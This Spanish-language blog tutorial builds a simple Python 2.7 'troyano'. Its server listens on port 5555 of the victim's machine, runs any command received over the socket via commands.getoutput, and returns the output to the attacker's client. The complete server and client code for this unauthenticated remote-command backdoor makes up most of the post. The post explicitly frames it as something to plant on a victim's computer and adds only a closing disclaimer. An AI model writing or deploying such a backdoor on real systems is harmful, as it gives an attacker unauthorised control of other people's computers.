Python Hacking – Simple Cliente-Servidor

Colaborador: Vasco

Un troyano es un tipo de malware del tipo Cliente-Servidor que permite a un atacante tomar control sobre el ordenador infectado. En la siguiente entrada veremos cómo construir un Troyanode forma sencilla escrito en el lenguaje de programación Python. He elegido este lenguaje por su gran adaptabilidad, sencillez y su extendido uso en el hacking. El software constará de dos ficheros; cliente y servidor. El cliente será el fichero desde el que administraremos al servidor, por lo tanto el servidor será la parte que deberemos colocar en el equipo víctima.

Primeramente, haremos el pequeño troyano que únicamente hará una pequeña prueba de conexión entre cliente y servidor. Una vez funcione correctamente, añadiremos la opción de ejecutar comandos remotamente y devolvernos la salida.

 

server.py

Comenzamos con la programación del servidor, al que llamaremos server.py las primeras líneas serán las librerías que usaremos, las cuales son socket (utilidades de red y conexión) y threading (que nos permitirá tener más de una conexión simultánea).

import socket
import threading

El siguiente paso será definir la clase conexiones, permitimos recibir información que el cliente envía y le enviamos un mensaje de confirmación, en este caso ‘HOLA CLIENTE’.

def conexiones(socket_cliente):
    peticion = socket_cliente.recv(1024) 
    print "[*] Mensaje recibido: %s" % peticion
    socket_cliente.send("HOLA CLIENTE")

Posteriormente creamos las variables ip, puerto, max_conexiones y servidor.La variable ip, tendrá como valor la cadena 0.0.0.0 la cual será la dirección IP del server; puerto tendrá el valor numérico 5555, que pertenecerá al puerto por el que aceptará conexiones; max_conexiones tendrá el valor numérico 5, que indica el número máximo de conexiones simultáneas. Finalmente con el método socket decimos a Python que espere conexión siguiendo los siguientes parámetros:

  • socket.AF_INET: indica que estamos usando el protocolo IPv4.
  • socket.SOCK_STREAM: indica el tipo de socket que estamos creando, en su caso un  del tipo de flujo, que usa como base el protocolo TCP y se asegura que los mensajes enviados al destino lleguen en el mismo orden en el que fueron enviados.
ip = "0.0.0.0"
puerto = 5555
max_conexiones = 5
servidor = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

Asignamos a servidor.bind los valores de ip y puerto; a servidor.listen el número de máximas conexiones.

servidor.bind((ip, puerto))
servidor.listen(max_conexiones)

En el siguiente paso simplemente imprimimos en pantalla el mensaje que indica que estamos a la escucha, indicando además la dirección IP y el puerto.

print "[*] Esperando conexiones en %s:%d" % (ip, puerto)

Por último, creamos un bucle (para no perder el servicio) e indicamos la forma de actuar al recibir información del cliente.

while True:
    cliente, direccion = servidor.accept()
    print "[*] Conexion establecida con %s:%d" % (direccion[0] , direccion[1])
    conexiones = threading.Thread(target=conexiones, args=(cliente,))
    conexiones.start()
Código completo del servidor
import socket
import threading
 
def conexiones(socket_cliente):
    peticion = socket_cliente.recv(1024)
    print "[*] Mensaje recibido: %s" % peticion
    socket_cliente.send("HOLA CLIENTE")
    socket_cliente.close()


ip = "0.0.0.0" 
puerto = 5555 
max_conexiones = 5 
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


servidor.bind((ip, puerto))
servidor.listen(max_conexiones)


print "[*] Esperando conexiones en %s:%d" % (ip, puerto)


while True:
    cliente, direccion = servidor.accept()
    print "[*] Conexion establecida con %s:%d" % (direccion[0] , direccion[1])
    conexiones = threading.Thread(target=conexiones, args=(cliente,))
    conexiones.start()

 

Client.py

El siguiente paso es crear el cliente, el cual es mucho más sencillo que el servidor. Comenzamos importando las librerías necesarias; en este caso sólo necesitamos la librería socket.

import socket

El siguiente paso es declarar las variables servidor y puerto, a los cuales les daremos los valores del servidor. La variable ip contendrá -en forma de cadena- la dirección IP del servidor, para  empezar colocaremos la dirección localhost, ya que no sacaremos aún el servidor de nuestra máquina. La variable puerto almacenará -de forma numérica- el puerto que indicamos en el servidor, el 5555.

servidor = "127.0.0.1"
puerto = 5555

En el siguiente apartado deberemos indicar en la variable cliente el tipo de socket y el protocolo (al igual que en el servidor) y que además, debe tener los mismos parámetros que el servidor (no podrían comunicarse correctamente el servidor IPv4 y el cliente IPv6, por ejemplo). Además indicamos como el cliente debe conectarse al servidor, siguiendo los parámetros de servidor y puerto, declarados anteriormente. Enviará la cadena «HOLA SERVIDOR» y recibirá en cliente.recv la respuesta del servidor, que la almacenará en la variable respuesta -valga la redundancia- y la imprimiremos en pantalla.

cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cliente.connect((servidor, puerto))
cliente.send("HOLA SERVIDOR");
respuesta = cliente.recv(4096)
print respuesta
Código completo del cliente
import socket

servidor = "127.0.0.1"
puerto = 5555

cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cliente.connect((servidor, puerto))
cliente.send("HOLA SERVIDOR");
respuesta = cliente.recv(4096)
print respuesta

Comprobamos su funcionamiento, poniendo primero el servidor a la escucha, y después ejecutando el cliente. Ojo, recuerdo que estamos usando Python 2.7.

2016-11-04-203817_1920x1080_scrot

Como podemos ver funciona correctamente, el cliente conecta con el servidor y le envía el mensaje HOLA SERVIDOR, este lo recibe, lo confirma en pantalla y envía el mensaje HOLA CLIENTE al cliente, el cual también lo imprime por pantalla.

Hemos podido enviar cadenas de texto e imprimirlas entre nuestro cliente y servidor, pero podríamos extenderlo a algo más interesante: vamos a enviar un comando del sistema y recibir su salida. Para ello deberemos realizar unos pequeños cambios.

 

server.py

Para ello añadimos la librería commands:

import commands

Y simplemente  editamos dos líneas en el servidor. La primera crearemos la variable respuesta a la que le asignaremos el valor de peticion (mensaje recibido por parte del cliente), el cual será pasado por el método commands.getoutput, lo que hará que se ejecute como comando en el sistema y éste se alojará en la variable respuesta. Además editaremos la línea de socket_cliente.send() para sustituir la cadena «HOLA CLIENTE» por la variable respuesta anteriormente declarada.

    def conexiones(socket_cliente):
        peticion = socket_cliente.recv(1024)
        print "[*] Mensaje recibido: %s" % peticion
        respuesta = commands.getoutput(peticion)     # AÑADIDA
        print respuesta
        socket_cliente.send(respuesta)               # EDITADA
        socket_cliente.close()
Código completo del servidor
import socket
import threading
import commands

def conexiones(socket_cliente):
    peticion = socket_cliente.recv(1024)
    print "[*] Mensaje recibido: %s" % peticion
    respuesta = commands.getoutput(peticion)
    socket_cliente.send(respuesta)
    socket_cliente.close()

ip = "0.0.0.0"
puerto = 5555
max_conexiones = 5
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

servidor.bind((ip, puerto))
servidor.listen(max_conexiones)

print "[*] Esperando conexiones en %s:%d" % (ip, puerto)

while True:
    cliente, direccion = servidor.accept()
    print "[*] Conexion establecida con %s:%d" % (direccion[0] , direccion[1])
    conexiones = threading.Thread(target=conexiones, args=(cliente,))
    conexiones.start()
cliente.py

Con esto ya es funcional, sólo falta una cosa: editar la cadena que mandaremos al servidor y sustituirla por un comando a ejecutar, en este caso usaremos uno sencillo: ‘ ls / ‘ (que nos listará el contenido de la raíz del sistema donde se aloje el server)

Código completo del cliente
import socket

servidor = "127.0.0.1"
puerto = 5555

cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cliente.connect((servidor, puerto))
cliente.send("ls /");
respuesta = cliente.recv(4096)
print "[*] Respuesta recibida: "+respuesta

Comprobamos su funcionamiento:

2016

 

Esto es todo por hoy, recordad que no nos hacemos responsables del mal uso que podáis darle a las herramientas y conocimientos adquiridos. Estamos aquí para investigar, aprender, compartir y sobre todo ¡divertirnos!.

P.D.: Podéis encontrar, si os resulta más cómodo los códigos usados en mi página personal de GitHub.

Un comentario en «Python Hacking – Simple Cliente-Servidor»

Los comentarios están cerrados.